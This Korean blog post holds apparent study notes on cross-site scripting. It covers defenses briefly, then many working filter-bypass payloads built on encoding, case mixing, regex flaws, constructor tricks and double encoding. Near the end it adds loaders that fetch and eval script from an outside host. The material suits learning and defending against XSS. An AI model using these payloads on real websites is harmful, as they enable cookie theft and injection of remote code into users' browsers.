본문 바로가기

Security

[Webhacking] [client-side advanced] XSS

반응형

XSS 방어 방법

가장 확실한 방법 : HTML 태그나 엔티티 자체를 입력하지 못하도록 하고, 대신 입력을 서식 없는 평문으로 취급.

서버 측에서는 < , > , & 와 같은 특수 문자들을 Escape

클라이언트 측에서는 DOM의 textContent, createTextNode 등을 사용해 HTML 태그 등이 해석되는 것을 방지.


배경

 

팀 버너스리 (Tim Berners-Lee)가 창시한 HTML은 SGML(Standard Generalized Markup Language) 을 바탕으로 함.

XML (다목적 마크업 언어) 또한 SGML 기반. 

XML은 규칙을 엄격화하되 문법을 단순화하였으나, HTML은 문서 작성 편의를 초점으로 둔 기능을 상당 수 유지함으로써 문법이 복잡해짐. 

이에 따라 HTML 해석하는 소프트웨어 구조도 정교해짐.

넷스케이프, MS 사의 브라우저 전쟁을 거치면서 HTML에 태그를 늘려나가서 표준화가 정립되기 전까지 쌓여온 이 기능들은 현재에 잘 쓰지않거나 불편함 야기 => 이를 IT용어로 유산이라고 부름.

 

XSS 필터 역시 태그가 무분별하게 추가됨에 따라 작성에 어려움이 생김.

같은 의미를 가지는 마크업이 느슨한 규칙에 의해 여러 개가 됨

HTML에서 Javascript 코드를 실행하거나 페이지에 변형을 가하는 방법은 여러가지 존재.

XSS 필터는 이를 모두 막아 웹 페이지의 보안을 유지하여야 함.

 

블랙리스트 필터링보다 XSS 필터는 안전하다고 알려진 마크업만 허용하는 보수적인 방식 취해야 함. (화이트리스트 필터링)


태그 및 속성 필터링

 

코드를 실행할 수 있는 HTML 요소는 <script> 이외에도 상당수 존재.

이벤트 핸들러 지정하는 on 존재.

onload => 이미지에서 핸들러 실행 시 유효 이미지가 load 된 경우에만 동작함.

onerror => 이미지에서 핸들러 실행 시 에러가 발생하는 경우에만 동작, 정상 로드 시에 동작안함.

<!-- 해당 태그가 요청하는 데이터 로드 후 실행 (로드 실패 시 실행되지 않음). -->
<img src="valid.jpg" onload="alert(document.domain)">
<!-- → 유효한 이미지 로드 후 onload 실행. -->
<img src="about:invalid" onload="alert(document.domain)">
<!-- → 이미지 로드 실패, onload 실행하지 않음. -->
<!-- 해당 태그가 요청하는 데이터 로드 실패 시 실행 (로드 성공 시 실행되지 않음). -->
<img src="about:invalid" onerror="alert(document.domain)">
<!-- → 이미지 로드 실패, onerror 실행. -->
<!-- input 태그에 포커스가 되면 실행되는 이벤트 핸들러 -->
<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
<!-- "autofocus" 옵션을 통해 자동으로 포커스를 시키거나, 
URL의 hash 부분에 input id를 입력(e.g. http://dreamhack.io/#inputID)하면 포커스 되도록 하여 이벤트 핸들러가 실행되도록 합니다.
※ 포커스가 될 수 없는 "hidden" type에서는 동작하지 않는 이벤트 핸들러입니다.
-->

 


취약 필터 예시

 

대문자 혹은 소문자만을 인식하는 필터 우회

x => !x.includes('script') && !x.includes('On')
--> <sCRipT>alert(document.cookie)</scriPT>
--> <img src=x: oneRroR=alert(document.cookie) />

 

잘못된 정규표현식

x => !/<script[^>]*>[^<]/i.test(x)
--> <sCrIpt src=data:,alert(document.cookie)></SCRipt>
// 스크립트 태그 내에 데이터가 존재하는지 확인하는 필터링 -> src 속성을 이용하여 데이터 입력.
  • [] 문자 배열
  • ^ 제외
  • *는 반복적으로 탐색
  • 즉, [^>]*는 >를 제외한 모든 문자들의 집합
  • <script ~> 이후 문자열이 등장하면 정규표현에 걸림.
  • 따라서 src를 통해 js를 실행시키면 통과한다.

 

x => !/<script[^>]*>[^<]/i.test(x) && !x.includes('document')
--> <sCrIpt src=data:;base64,YWxlcnQgKGRvY3VtZW50LmNvb2tpZSk7></SCRipt>
// base64 인코딩을 통해 필터링 우회
  • document를 차단했으니, base64 인코딩으로 우회

 

x => !/<img[^>]*onerror/i.test(x)
--> <img src='>' onerror=alert(document.cookie)>
  • img 뒤에 > 제외 문자열온 후에 onerror 만나면 예외. => 어차피 error 발생시켜야 하므로 >를 src에 심으면됨.

 

x => !/<img([^>]|['"][^'"]*['"])+onerror/i.test(x)
--> <img src=">'>" onerror=alert(document.cookie) />
  • | 는 왼쪽 패턴 혹은 오른쪽 패턴과 일치하는 것을 찾는 것이므로 둘다 일치하지 않아야 함.
  • " > ' > " 로 하면 >이 제외한 문자가 온다는 왼쪽 패턴과 일치하지 않고, " ~ ' ~ " 으로 ',"를 제외한 문자가 따옴표 사이에 와야하는 패턴에 어긋남.

 

x => !/<img.*on/i.test(x)
--> <img src=""
     onerror = alert(document.cookie) />
// 멀티라인에 대한 검증이 존재하지 않아 줄바꿈을 통해 필터링 우회.
  • .은 모든 문자 
  • 모든 문자에 대해서 적용이므로 까다롭지만 줄바꿈으로 해결.

 

특정 태그 및 속성에 대한 필터링을 다른 태그 및 속성을 이용하여 우회

x => !/img|onload/i.test(x)
--> <video><source onerror=alert(document.cookie) /></video>
  • img 태그 사용 불가이므로, video 태그 사용.

 

x => !/onerror/i.test(x)
--> <body onload=alert(document.cookie) />
  • onload 사용 불가이므로 onerror 사용

 

x => !/<\s*body/i.test(x)
--> <iframe src=jaVaSCRipt:alert(parent.document.cookie) />
  • \s : 공백, 택, 용지 공급 등과 같은 문자 찾기. [\f \n \r \t \v]
    body 대신 iframe 사용, iframe의 src에는 script 삽입 가능.

 

x => !/onerror|javascript/i.test(x)
--> <iframe srcdoc="<img src='' one&#114;&#114;or=alert(parent.document.cookie)>" />

onerror 사용 불가, html character code 사용.

&#114;는 r을 의미


 

소문자에 대해서만 필터링 했으므로 대문자 섞어서 뚫음.

script 사용 불가이므로 img에 onerror 심음.

html character code는 iframe srcdoc 안의 html source에서 동작함.

alert은 상위 문서에서 호출되므로 parent.alert으로 해야함.

 


JavaScript 함수 및 키워드 필터링

 

Javascript는 Unicode escape sequence와 같이 유니코드 문자를 코드포인트로 나타낼 수 있는 표기,

("\uAC00" = "가")

computed member access (객체의 특정 속성을 접근할 때 속성 이름을 동적으로 계산함) 등 코드를 난독화할 수 있는 다양한 기능등을 포함하여 필터 우회 가능.

atob : Base64 인코딩 데이터 디코딩

decodeURI : URI 인코딩 데이터 디코딩

 

x => typeof x === 'string' && !x.includes('alert') && !x.includes('window') && !x.includes('document')
--> this['al'+'ert']((({'\u0063ookie':x})=>x)(self['\x64ocument']))
    --> this.alert((({cookie: x}) => x)(self.document)
    --> window.alert(self.document.cookie)
    --> alert(document.cookie)

unicode escape sequence와 끊어 쓰기로 우회

x => typeof x === 'string' && !x.includes('eval') && !x.includes('cookie')
--> isNaN['construct'+'or'](atob("YWxlcnQoZG9jdW1lbnQuY29va2llKQ=="))()
    --> isNaN['constr'+'uctor']("alert(document.cookie)")()
    --> Function("alert(document.cookie)")()
    --> alert(document.cookie)
--> self['constru'+'ctor']['con'+'structor'](decodeURI("%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65"))
    --> self['constru'+'ctor']['con'+'structor']("alert(document.cookie)")()
    --> self.constructor.constructor("alert(document.cookie)")()
    --> Window.constructor("alert(document.cookie)")()
    --> Function("alert(document.cookie)")()
    --> alert(document.cookie)

 

기존 구문 대체 구문
alert, XMLHttpRequest 
최상위 객체 및 함수
window['al'+'ert'], window['XMLHtt'+'pRequest'] 
이름 끊어서 쓰기
window self
this
("use strict" 가 비활성화되어 있고 this 가 명시된 메소드 호출이 아니라는 가정 하)
eval(code) Function(code)()
Function isNaN['constr'+'uctor'] 
함수의 constructor 속성 접근

alert같은 메소드는 window객체의 함수이므로, 속성으로 접근해서 사용가능

isNaN의 constructor 속성에 접근하면 Function처럼 사용가능, Boolean도 마찬가지

 

문자열 선언의 일반적인 방법

", ' 사용

var foo = "Hello";
var bar = "World";
var baz = `${foo},
World ${1+1} `; // "Hello,\nWorld 2 "
/*
Template literals은 backtick을 통해 선언하며 멀티라인 문자열도 선언할 수 있습니다.
또한 내장된 표현식을 통해 다른 변수 또는 식을 사용할 수 있습니다.
*/
var foo = /Hello World!/.source; // "Hello World!"
var foo2 = /test !/ + []; // "/test !/"

/ 문자열 / 의 정규표현식에서 .source (pattern 부분)을 통해 string으로 변환

정규표현식에 + []을 수행하면 연산을 위해 toString이 실행됨.

var baz = history.toString()[8] + // "H"
(history+[])[9] + // "i"
(URL+0)[12] + // "("
(URL+0)[13]; // ")" ==> "Hi()"

기존의 내장 함수 또는 오브젝트의 문자를 사용

history객체를 문자열화 하면 [object History]가 반환된다.

8번째 인덱스인 H

URL은 function URL() { [native code] }가 반환

toString하거나 +[] or +0 등으로 문자열 연산을 수행하여 변환시킬 수 있음

var qux = 29234652..toString(36); // "hello"
var qux2 = 29234652 .toString(36); // "hello"
// parseInt("hello", 36); ==> 29234652

operator("..")을 통해 number 오브젝트에 접근

숫자 속성에 접근 시 앞에 공백을 한 칸 추가해 점이 소수점으로 인식 되지 않도록 하는 방법도 존재

 

함수 호출 방법

일반적 방법은 괄호나 tagged templates 사용

alert(1);
alert`1`;

괄호나 태그 사용 불가능한 경우

javascript : scheme을 통해 함수 실행.

location="javascript:alert\x281\x29;";
location.href="javascript:alert\u00281\u0029;";
location['href']="javascript:alert\0501\051;";

iframe의 src에서도 사용 가능

혹은

document.body.innerHTML+="<img src=x: onerror=alert&#40;1&#41;>";
/*
document에 새로운 html 추가를 통해 자바스크립트 실행. 
*/
"alert\x281\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x281\x29"instanceof[];
/*
JavaScript에서는 문자열 이외에도 ECMAScript 6에서 추가된 Symbol 또한 속성 명칭으로 사용할 수 있습니다.
Symbol.hasInstance well-known symbol을 이용하면 instanceof 연산자를 override할 수 있습니다.
즉, (O instanceof C)를 연산할 때 C에 Symbol.hasInstance 속성에 함수가 있을 경우 메소드로 호출하여 instanceof 연산자의 결과값으로 사용하게 됩니다.
이 특성을 이용해 instanceof를 연산하게 되면 실제 인스턴스 체크 대신 원하는 함수를 메소드로 호출되도록 할 수 있습니다.
*/

 

기타

alert['toString'] === alert.toString;
// 속성 참조
\u0061lert == \u{61}lert; // alert
// unicode를 이용하여 문자열 우회

 


alert, window, document 사용 불가.

window 대신 this 사용, window > document, alert 이고 document > cookie

끊어쓰기로 해결

this['al'+'ert'](this['docu'+'ment']['cookie'])

이것도 가능

this['al'+'ert'](self['\x64ocument'].cookie)

 

function XSSFilter(data){
  if(/alert|window|document|eval|cookie|this|self|parent|top|opener|function|constructor|[\-+\\<>{}=]/i.test(data)){
    return false;
  }
  return true;
}

this, self 포함 다 안됨. 

이것은 인코딩이다 !

// %63%6F%6E%73%74%72%75%63%74%6F%72 -> constructor
// %61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29 -> alert(document.cookie)
Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](
      decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();
Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();

 

기호 사용 불가능.

문자열을 만들어서 실행

location=/javascript:/.source 
+ /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];

.source를 붙이면 / / 을 정규표현식의 pattern 부분으로써 문자열로 만들 수 있음.

원래는 (URL + 0)[12]로 뽑아내야하지만 ( , ) 사용 불가하기 때문에

[ ] 배열 형태로 뽑고 인덱스 0번째에서 나머지 위치 인덱스로 접근.

 


XSS 구문을 거부하는 대신 단순히 치환 또는 제거하는 관습존재.

(x => x.replace(/script/g, ''))('<scrscriptipt>alscriptert(documescriptnt.cooscriptkie)</scrscriptipt>')
--> <script>alert(document.cookie)</script>
(x => x.replace(/onerror/g, ''))('<img oneonerrorrror=promonerrorpt(1)>')
--> <img onerror=prompt(1) />

g는 전역에서 검색.

치환해서 ''로 제거시에 남은 문자로 취약한 단어 만들 수 있음

대안으로 문자열 변화가 없을 때 까지 지속적으로 치환하는 방식 사용

=>고려하지 못한 구문의 존재 

function replaceIterate(text) {
    while (true) {
        var newText = text
            .replace(/script|onerror/gi, '');
        if (newText === text) break;
        text = newText;
    }
    return text;
}
replaceIterate('<imgonerror src="data:image/svg+scronerroriptxml,&lt;svg&gt;" onloadonerror="alert(1)" />')
--> <img src="data:image/svg+xml,&lt;svg&gt;" onload="alert(1)" />

srcdoc에 들어가는 것은 html code, &lt;는 < &gt;는 >

 

 


활성 하이퍼링크 

 

HTML 마크업에서 사용될 수 있는 URL들은 활성 콘텐츠를 포함할 수 있음.

이중 javascript: 스키마로 URL 로드 시 자바스크립트 코드를 실행할 수 있도록 함.

 

x => !/href\s*=(["']\s*)?javascript:/i.test(x)
--> <a href="&#4;&#4;jAvaScRIpT:alert(1)">Click me!</a>
x => !/javascript:/i.test(x)
--> <a href="javascript&colon;alert(1)">Click me!</a>
x => !/javascript(:|&colon;)/i.includes(x)
--> <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">Click me!</a>

html character code로 우회

js의 url에서는 \x01, \x04와 같은 특수 제어 문자들이 제거될 수 있는데, 이를 이용해서 우회가능.

 

function normalizeURL(url) {
    return new URL(url, document.baseURI);
}
normalizeURL('\4\4jAvaScRIpT:alert(1)')
--> "javascript:alert"
normalizeURL('\4\4jAvaScRIpT:alert(1)').protocol
--> "javascript:"
normalizeURL('\4\4jAvaScRIpT:alert(1)').pathname
--> "alert(1)"

js에서 URL 객체를 통해 URL 직접 정규화할 수 있고 

이를 통해 URL 각종 정보 추출 가능.


디코딩 전 필터링 (Double encoding 등)

입력 검증에서 디코딩이 모두 끝난 후에 필터링을 해야하는데 필터링 후에 디코딩이 수행되는 경우 필터가 무용지물이 되어버림.

<?php
$query = $_GET["query"];
if (stripos($query, "<script>") !== FALSE) {
    header("HTTP/1.1 403 Forbidden");
    die("XSS attempt detected: " . htmlspecialchars($query, ENT_QUOTES|ENT_HTML5, "UTF-8"));
}
...
$searchQuery = urldecode($_GET["query"]);
?>
<h1>Search results for: <?php echo $searchQuery; ?></h1>
POST /search?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
...
-----
HTTP/1.1 403 Forbidden
XSS attempt detected: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
POST /search?query=%253Cscript%253Ealert(document.cookie)%253C/script%253E HTTP/1.1
...
-----
HTTP/1.1 200 OK
<h1>Search results for: <script>alert(document.cookie)</script></h1>

길이 제한

삽입될 수 있는 코드의 길이에 제한이 있는 경우, 다른 경로로 실행할 추가 코드 (payload)를 URL fragment등으로 삽입하고, 삽입 지점에는 본 코드를 실행하는 짧은 코드(launcher) 사용.

fragemetn로 script 넘겨주고 XSS 지점에서 location.hash로 URL fragment부분 추출해서 eval()로 실행

https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);

location.hash 하면 #alert(document.cookie)가 추출 ,slice로 #제거

  • 외부 자원을 이용한 공격 방식 (payload)
import("http://malice.dreamhack.io");
var e = document.createElement('script')
e.src='http://malice.dreamhack.io';
document.appendChild(e);
fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))

fetch에 url 넣으면 해당 url 호출 성공 시 응답 객체를 x에 담아서 실행

반응형

'Security' 카테고리의 다른 글

[Webhacking] [client-side advanced] CSRF  (0) 2021.10.24
[Webhacking] [client-side advanced] CSP  (0) 2021.10.22
[wargame] pathtraversal  (0) 2021.10.04
[wargame] devtools-sources  (0) 2021.10.04
[Webhacking] Misconfiguration  (0) 2021.10.01